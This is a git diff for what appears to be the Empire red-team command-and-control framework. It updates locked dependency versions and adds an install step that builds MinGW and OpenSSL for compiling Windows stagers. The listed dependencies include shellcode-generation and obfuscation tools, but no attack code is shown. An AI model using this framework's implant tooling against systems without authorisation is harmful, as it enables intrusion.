"sqlalchemy-2.0.46-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9094c8b3197db12aa6f05c51c05daaad0a92b8c9af5388569847b03b1007fb1b"}, + {file = "sqlalchemy-2.0.46-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37fee2164cf21417478b6a906adc1a91d69ae9aba8f9533e67ce882f4bb1de53"}, + {file = "sqlalchemy-2.0.46-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b1e14b2f6965a685c7128bd315e27387205429c2e339eeec55cb75ca4ab0ea2e"}, + {file = "sqlalchemy-2.0.46-cp312-cp312-win32.whl", hash = "sha256:412f26bb4ba942d52016edc8d12fb15d91d3cd46b0047ba46e424213ad407bcb"}, + {file = "sqlalchemy-2.0.46-cp312-cp312-win_amd64.whl", hash = "sha256:ea3cd46b6713a10216323cda3333514944e510aa691c945334713fca6b5279ff"}, + {file = "sqlalchemy-2.0.46-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:93a12da97cca70cea10d4b4fc602589c4511f96c1f8f6c11817620c021d21d00"}, + {file = "sqlalchemy-2.0.46-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:af865c18752d416798dae13f83f38927c52f085c52e2f32b8ab0fef46fdd02c2"}, + {file = "sqlalchemy-2.0.46-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8d679b5f318423eacb61f933a9a0f75535bfca7056daeadbf6bd5bcee6183aee"}, + {file = "sqlalchemy-2.0.46-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:64901e08c33462acc9ec3bad27fc7a5c2b6491665f2aa57564e57a4f5d7c52ad"}, + {file = "sqlalchemy-2.0.46-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e8ac45e8f4eaac0f9f8043ea0e224158855c6a4329fd4ee37c45c61e3beb518e"}, + {file = "sqlalchemy-2.0.46-cp313-cp313-win32.whl", hash = "sha256:8d3b44b3d0ab2f1319d71d9863d76eeb46766f8cf9e921ac293511804d39813f"}, + {file = "sqlalchemy-2.0.46-cp313-cp313-win_amd64.whl", hash = "sha256:77f8071d8fbcbb2dd11b7fd40dedd04e8ebe2eb80497916efedba844298065ef"}, + {file = "sqlalchemy-2.0.46-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a1e8cc6cc01da346dc92d9509a63033b9b1bda4fed7a7a7807ed385c7dccdc10"}, + {file = "sqlalchemy-2.0.46-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96c7cca1a4babaaf3bfff3e4e606e38578856917e52f0384635a95b226c87764"}, + {file = "sqlalchemy-2.0.46-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:b2a9f9aee38039cf4755891a1e50e1effcc42ea6ba053743f452c372c3152b1b"}, + {file = "sqlalchemy-2.0.46-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:db23b1bf8cfe1f7fda19018e7207b20cdb5168f83c437ff7e95d19e39289c447"}, + {file = "sqlalchemy-2.0.46-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:56bdd261bfd0895452006d5316cbf35739c53b9bb71a170a331fa0ea560b2ada"}, + {file = "sqlalchemy-2.0.46-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:33e462154edb9493f6c3ad2125931e273bbd0be8ae53f3ecd1c161ea9a1dd366"}, + {file = "sqlalchemy-2.0.46-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bcdce05f056622a632f1d44bb47dbdb677f58cad393612280406ce37530eb6d"}, + {file = "sqlalchemy-2.0.46-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8e84b09a9b0f19accedcbeff5c2caf36e0dd537341a33aad8d680336152dc34e"}, + {file = "sqlalchemy-2.0.46-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4f52f7291a92381e9b4de9050b0a65ce5d6a763333406861e33906b8aa4906bf"}, + {file = "sqlalchemy-2.0.46-cp314-cp314-win32.whl", hash = "sha256:70ed2830b169a9960193f4d4322d22be5c0925357d82cbf485b3369893350908"}, + {file = "sqlalchemy-2.0.46-cp314-cp314-win_amd64.whl", hash = "sha256:3c32e993bc57be6d177f7d5d31edb93f30726d798ad86ff9066d75d9bf2e0b6b"}, + {file = "sqlalchemy-2.0.46-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4dafb537740eef640c4d6a7c254611dca2df87eaf6d14d6a5fca9d1f4c3fc0fa"}, + {file = "sqlalchemy-2.0.46-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42a1643dc5427b69aca967dae540a90b0fbf57eaf248f13a90ea5930e0966863"}, + {file = "sqlalchemy-2.0.46-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ff33c6e6ad006bbc0f34f5faf941cfc62c45841c64c0a058ac38c799f15b5ede"}, + {file = "sqlalchemy-2.0.46-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:82ec52100ec1e6ec671563bbd02d7c7c8d0b9e71a0723c72f22ecf52d1755330"}, + {file = "sqlalchemy-2.0.46-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6ac245604295b521de49b465bab845e3afe6916bcb2147e5929c8041b4ec0545"}, + {file = "sqlalchemy-2.0.46-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1e6199143d51e3e1168bedd98cc698397404a8f7508831b81b6a29b18b051069"}, + {file = "sqlalchemy-2.0.46-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:716be5bcabf327b6d5d265dbdc6213a01199be587224eb991ad0d37e83d728fd"}, + {file = "sqlalchemy-2.0.46-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:6f827fd687fa1ba7f51699e1132129eac8db8003695513fcf13fc587e1bd47a5"}, + {file = "sqlalchemy-2.0.46-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:c805fa6e5d461329fa02f53f88c914d189ea771b6821083937e79550bf31fc19"}, + {file = "sqlalchemy-2.0.46-cp38-cp38-win32.whl", hash = "sha256:3aac08f7546179889c62b53b18ebf1148b10244b3405569c93984b0388d016a7"}, + {file = "sqlalchemy-2.0.46-cp38-cp38-win_amd64.whl", hash = "sha256:0cc3117db526cad3e61074100bd2867b533e2c7dc1569e95c14089735d6fb4fe"}, + {file = "sqlalchemy-2.0.46-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:90bde6c6b1827565a95fde597da001212ab436f1b2e0c2dcc7246e14db26e2a3"}, + {file = "sqlalchemy-2.0.46-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:94b1e5f3a5f1ff4f42d5daab047428cd45a3380e51e191360a35cef71c9a7a2a"}, + {file = "sqlalchemy-2.0.46-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:93bb0aae40b52c57fd74ef9c6933c08c040ba98daf23ad33c3f9893494b8d3ce"}, + {file = "sqlalchemy-2.0.46-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:c4e2cc868b7b5208aec6c960950b7bb821f82c2fe66446c92ee0a571765e91a5"}, + {file = "sqlalchemy-2.0.46-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:965c62be8256d10c11f8907e7a8d3e18127a4c527a5919d85fa87fd9ecc2cfdc"}, + {file = "sqlalchemy-2.0.46-cp39-cp39-win32.whl", hash = "sha256:9397b381dcee8a2d6b99447ae85ea2530dcac82ca494d1db877087a13e38926d"}, + {file = "sqlalchemy-2.0.46-cp39-cp39-win_amd64.whl", hash = "sha256:4396c948d8217e83e2c202fbdcc0389cf8c93d2c1c5e60fa5c5a955eae0e64be"}, + {file = "sqlalchemy-2.0.46-py3-none-any.whl", hash = "sha256:f9c11766e7e7c0a2767dda5acb006a118640c9fc0a4104214b96269bfb78399e"}, + {file = "sqlalchemy-2.0.46.tar.gz", hash = "sha256:cf36851ee7219c170bb0793dbc3da3e80c582e04a5437bc601bfe8c85c9216d7"}, ] [package.dependencies] -greenlet = {version = ">=1", markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"} +greenlet = {version = ">=1", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""} typing-extensions = ">=4.6.0" [package.extras] @@ -2020,14 +2192,14 @@ SQLAlchemy = ">=0.9.0" [[package]] name = "starlette" -version = "0.47.3" +version = "0.52.1" description = "The little ASGI library that shines." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "starlette-0.47.3-py3-none-any.whl", hash = "sha256:89c0778ca62a76b826101e7c709e70680a1699ca7da6b44d38eb0a7e61fe4b51"}, - {file = "starlette-0.47.3.tar.gz", hash = "sha256:6bc94f839cc176c4858894f1f8908f0ab79dfec1a6b8402f6da9be26ebea52e9"}, + {file = "starlette-0.52.1-py3-none-any.whl", hash = "sha256:0029d43eb3d273bc4f83a08720b4912ea4b071087a3b48db01b7c839f7954d74"}, + {file = "starlette-0.52.1.tar.gz", hash = "sha256:834edd1b0a23167694292e94f597773bc3f89f362be6effee198165a35d62933"}, ] [package.dependencies] @@ -2036,18 +2208,6 @@ anyio = ">=3.6.2,<5" [package.extras] full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] -[[package]] -name = "terminaltables" -version = "3.1.10" -description = "Generate simple tables in terminals from a nested list of strings." -optional = false -python-versions = ">=2.6" -groups = ["main"] -files = [ - {file = "terminaltables-3.1.10-py2.py3-none-any.whl", hash = "sha256:e4fdc4179c9e4aab5f674d80f09d76fa436b96fdc698a8505e0a36bf0804a874"}, - {file = "terminaltables-3.1.10.tar.gz", hash = "sha256:ba6eca5cb5ba02bba4c9f4f985af80c54ec3dccf94cfcd190154386255e47543"}, -] - [[package]] name = "typing-extensions" version = "4.15.0" @@ -2062,14 +2222,14 @@ files = [ [[package]] name = "typing-inspection" -version = "0.4.1" +version = "0.4.2" description = "Runtime typing introspection tools" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "typing_inspection-0.4.1-py3-none-any.whl", hash = "sha256:389055682238f53b04f7badcb49b989835495a96700ced5dab2d8feae4b26f51"}, - {file = "typing_inspection-0.4.1.tar.gz", hash = "sha256:6ae134cc0203c33377d43188d4064e9b357dba58cff3185f22924610e70a9d28"}, + {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"}, + {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"}, ] [package.dependencies] @@ -2077,32 +2237,32 @@ typing-extensions = ">=4.12.0" [[package]] name = "urllib3" -version = "2.5.0" +version = "2.6.3" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"}, - {file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"}, + {file = "urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4"}, + {file = "urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed"}, ] [package.extras] -brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] +brotli = ["brotli (>=1.2.0)", "brotlicffi (>=1.2.0.0)"] h2 = ["h2 (>=4,<5)"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] -zstd = ["zstandard (>=0.18.0)"] +zstd = ["backports-zstd (>=1.0.0)"] [[package]] name = "uvicorn" -version = "0.35.0" +version = "0.41.0" description = "The lightning-fast ASGI server." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "uvicorn-0.35.0-py3-none-any.whl", hash = "sha256:197535216b25ff9b785e29a0b79199f55222193d47f820816e7da751e9bc8d4a"}, - {file = "uvicorn-0.35.0.tar.gz", hash = "sha256:bc662f087f7cf2ce11a1d7fd70b90c9f98ef2e2831556dd078d131b96cc94a01"}, + {file = "uvicorn-0.41.0-py3-none-any.whl", hash = "sha256:29e35b1d2c36a04b9e180d4007ede3bcb32a85fbdfd6c6aeb3f26839de088187"}, + {file = "uvicorn-0.41.0.tar.gz", hash = "sha256:09d11cf7008da33113824ee5a1c6422d89fbc2ff476540d69a34c87fab8b571a"}, ] [package.dependencies] @@ -2110,40 +2270,52 @@ click = ">=7.0" h11 = ">=0.8" [package.extras] -standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"] +standard = ["colorama (>=0.4)", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1)", "watchfiles (>=0.20)", "websockets (>=10.4)"] + +[[package]] +name = "wcwidth" +version = "0.6.0" +description = "Measures the displayed width of unicode strings in a terminal" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "wcwidth-0.6.0-py3-none-any.whl", hash = "sha256:1a3a1e510b553315f8e146c54764f4fb6264ffad731b3d78088cdb1478ffbdad"}, + {file = "wcwidth-0.6.0.tar.gz", hash = "sha256:cdc4e4262d6ef9a1a57e018384cbeb1208d8abbc64176027e2c2455c81313159"}, +] [[package]] name = "werkzeug" -version = "3.1.3" +version = "3.1.6" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"}, - {file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"}, + {file = "werkzeug-3.1.6-py3-none-any.whl", hash = "sha256:7ddf3357bb9564e407607f988f683d72038551200c704012bb9a4c523d42f131"}, + {file = "werkzeug-3.1.6.tar.gz", hash = "sha256:210c6bede5a420a913956b4791a7f4d6843a43b6fcee4dfa08a65e93007d0d25"}, ] [package.dependencies] -MarkupSafe = ">=2.1.1" +markupsafe = ">=2.1.1" [package.extras] watchdog = ["watchdog (>=2.3)"] [[package]] name = "wsproto" -version = "1.2.0" -description = "WebSockets state-machine based protocol implementation" +version = "1.3.2" +description = "Pure-Python WebSocket protocol implementation" optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "wsproto-1.2.0-py3-none-any.whl", hash = "sha256:b9acddd652b585d75b20477888c56642fdade28bdfd3579aa24a4d2c037dd736"}, - {file = "wsproto-1.2.0.tar.gz", hash = "sha256:ad565f26ecb92588a3e43bc3d96164de84cd9902482b130d0ddbaa9664a85065"}, + {file = "wsproto-1.3.2-py3-none-any.whl", hash = "sha256:61eea322cdf56e8cc904bd3ad7573359a242ba65688716b0710a5eb12beab584"}, + {file = "wsproto-1.3.2.tar.gz", hash = "sha256:b86885dcf294e15204919950f666e06ffc6c7c114ca900b060d6e16293528294"}, ] [package.dependencies] -h11 = ">=0.9.0,<1" +h11 = ">=0.16.0,<1" [[package]] name = "zlib-wrapper" @@ -2158,5 +2330,5 @@ files = [ [metadata] lock-version = "2.1" -python-versions = ">=3.13,<3.14" -content-hash = "65256dd6200f1e2129eaee82d90f5a439821d74eac09aae52b963f091f49d1c6" +python-versions = ">=3.13,<3.15" +content-hash = "1fe15d1545ab9e3c5a5e36c1fd967080c46430cb57630568137c9c8f207767bb" diff --git a/pyproject.toml b/pyproject.toml index f47e157e1..a829b933d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "6.4.1" +version = "6.5.0" description = "" authors = ["BC Security "] readme = "README.md" @@ -12,29 +12,28 @@ packages = [ ] [tool.poetry.dependencies] -python = ">=3.13,<3.14" -urllib3 = "^2.5.0" +python = ">=3.13,<3.15" +urllib3 = "^2.6.3" requests = "^2.32.5" -macholib = "^1.16.3" -pyOpenSSL = "^25.1.0" +macholib = "^1.16.4" +pyOpenSSL = "^25.3.0" zlib_wrapper = "^0.1.3" jinja2 = "^3.1.6" -pyparsing = "^3.2.3" +pyparsing = "^3.3.2" PyMySQL = "^1.1.2" -SQLAlchemy = "^2.0.43" -PyYAML = "^6.0.2" +SQLAlchemy = "^2.0.46" +PyYAML = "^6.0.3" SQLAlchemy-Utc = "^0.14.0" -terminaltables = "^3.1.10" pycryptodome = "^3.23.0" -cryptography = "^45.0.7" -fastapi = "^0.116.1" -uvicorn = "^0.35.0" -jq = "^1.10.0" -aiofiles = "^24.1.0" -python-multipart = "^0.0.20" +cryptography = "^46.0.5" +fastapi = "^0.129.0" +uvicorn = "^0.41.0" +jq = "^1.11.0" +aiofiles = "^25.1.0" +python-multipart = "^0.0.22" python-jose = {version = "^3.5.0", extras = ["cryptography"]} -python-socketio = "^5.13.0" -Flask = "^3.1.2" +python-socketio = "^5.16.1" +Flask = "^3.1.3" pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git", rev = "da5be0e"} # The official donut-shellcode release doesn't support arm64 # and on newer linux kernels, it's starting to fail due to @@ -42,22 +41,23 @@ pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git", rev = # https://github.com/TheWover/donut/issues/139 donut-shellcode = { git = "https://github.com/BC-SECURITY/donut.git", rev = "b361c0d3" } python-obfuscator = "^0.0.2" -pyinstaller = "^6.15.0" -packaging = "^25.0" +pyinstaller = "^6.19.0" +packaging = "^26.0" netaddr = "^1.3.0" -bcrypt = "^4.3.0" -requests-file = "^2.1.0" -pydantic-settings = "^2.10.1" +bcrypt = "^5.0.0" +requests-file = "^3.0.1" +pydantic-settings = "^2.13.1" +prettytable = "^3.17.0" [tool.poetry.group.dev.dependencies] httpx = "^0.28.1" # For starlette TestClient -pytest = "^8.4.2" +pytest = "^9.0.2" pytest-timeout = "^2.4.0" -ruff = "^0.12.12" -pytest-cov = "^6.3.0" -coverage = {version = "^7.10.6", extras = ["toml"]} -pytest-env = "^1.1.5" +ruff = "^0.15.2" +pytest-cov = "^7.0.0" +coverage = {version = "^7.13.4", extras = ["toml"]} +pytest-env = "^1.5.0" [build-system] requires = ["poetry-core>=1.0.0"] @@ -70,7 +70,8 @@ extend-exclude = [ # This file is a pain to untangle for some of the linting rules # it is from a 3rd party library, and its mostly untested. 'empire/server/common/malleable', - "empire/server/Empire-Compiler" + "empire/server/Empire-Compiler", + ".claude/worktrees", ] target-version = "py313" @@ -115,15 +116,9 @@ extend-immutable-calls = ["fastapi.Depends", "fastapi.params.Depends", "fastapi. [tool.ruff.lint.per-file-ignores] # PLR, PLW: Each individual stager, listener, and module lacks tests, so it is not worth the # risk to manually refactor them until there are tests in place for them. -# PTH: Excluded some files with lower test coverage for PTH so we can enable it for -# the rest of the files and incrementally increase the coverage. -"empire/server/listeners/*" = ["PTH", "PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901"] -"empire/server/stagers/*" = ["PTH", "PLR0911", "PLR0912", "PLR0915"] -"empire/server/modules/*" = ["PTH", "PLR0911", "PLR0912", "PLR0913", "PLR0915"] -"empire/server/utils/bof_packer.py" = ["PTH"] -"empire/server/core/stager_generation_service.py" = ["PTH"] -"empire/server/core/agent_communication_service.py" = ["PTH"] -"empire/server/core/go.py" = ["PTH"] +"empire/server/listeners/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915", "PLR2004", "PLW2901"] +"empire/server/stagers/*" = ["PLR0911", "PLR0912", "PLR0915"] +"empire/server/modules/*" = ["PLR0911", "PLR0912", "PLR0913", "PLR0915"] # It's hard to limit arguments on the endpoint functions. "empire/server/api/*" = ["PLR0913"] diff --git a/setup/install.sh b/setup/install.sh index 9305ca4df..ffe80435b 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -222,6 +222,60 @@ function start_mysql() { fi } +function install_mingw() { + if [ "$ASSUME_YES" == "1" ]; then + answer="Y" + else + echo -n -e "\x1b[1;33m[>] Do you want to install MinGW-w64? It is required for compiling Windows C stagers (y/N)? \x1b[0m" + read -r answer + fi + if [ "$answer" != "${answer#[Yy]}" ]; then + echo -e "\x1b[1;34m[*] Installing MinGW-w64\x1b[0m" + sudo DEBIAN_FRONTEND=noninteractive apt-get install -y \ + mingw-w64 perl make build-essential + + # Build and install OpenSSL for MinGW cross-compilation + if [ ! -d /opt/openssl-mingw64/include/openssl ]; then + echo -e "\x1b[1;34m[*] Building OpenSSL for MinGW-w64 cross-compilation\x1b[0m" + + OPENSSL_BUILD_DIR="$(mktemp -d)" + OPENSSL_TARBALL="$OPENSSL_BUILD_DIR/openssl-3.5.4.tar.gz" + + # Always return to original dir + cleanup + local _oldpwd="$PWD" + cleanup_openssl_build() { + cd "$_oldpwd" 2>/dev/null || true + rm -rf "$OPENSSL_BUILD_DIR" 2>/dev/null || true + } + trap cleanup_openssl_build RETURN + + pushd "$OPENSSL_BUILD_DIR" >/dev/null + + wget -q https://www.openssl.org/source/openssl-3.5.4.tar.gz -O "$OPENSSL_TARBALL" + tar -xzf "$OPENSSL_TARBALL" + + pushd openssl-3.5.4 >/dev/null + + ./Configure mingw64 no-apps no-async no-docs no-shared no-tests \ + --cross-compile-prefix=x86_64-w64-mingw32- \ + --prefix=/opt/openssl-mingw64 + + make -j"$(nproc)" + sudo make install_dev + + popd >/dev/null # out of openssl-3.5.4 + popd >/dev/null # out of OPENSSL_BUILD_DIR + + # trap will cleanup + restore cwd + echo -e "\x1b[1;32m[+] OpenSSL for MinGW installed to /opt/openssl-mingw64\x1b[0m" + else + echo -e "\x1b[1;32m[+] OpenSSL for MinGW already installed, skipping\x1b[0m" + fi + else + echo -e "\x1b[1;34m[*] Skipping MinGW-w64\x1b[0m" + fi +} + set -e if [ "$EUID" -eq 0 ]; then @@ -241,6 +295,7 @@ sudo -v # https://stackoverflow.com/questions/24112727/relative-paths-based-on-file-location-instead-of-current-working-directory PARENT_PATH=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; cd .. ; pwd -P ) +cd "$PARENT_PATH" OS_NAME= VERSION_ID= if VERSION_ID=$(grep -oP '^(11|12|13)' /etc/debian_version 2>/dev/null); then @@ -293,6 +348,7 @@ fi install_go install_mono +install_mingw if ! command_exists mysql; then install_mysql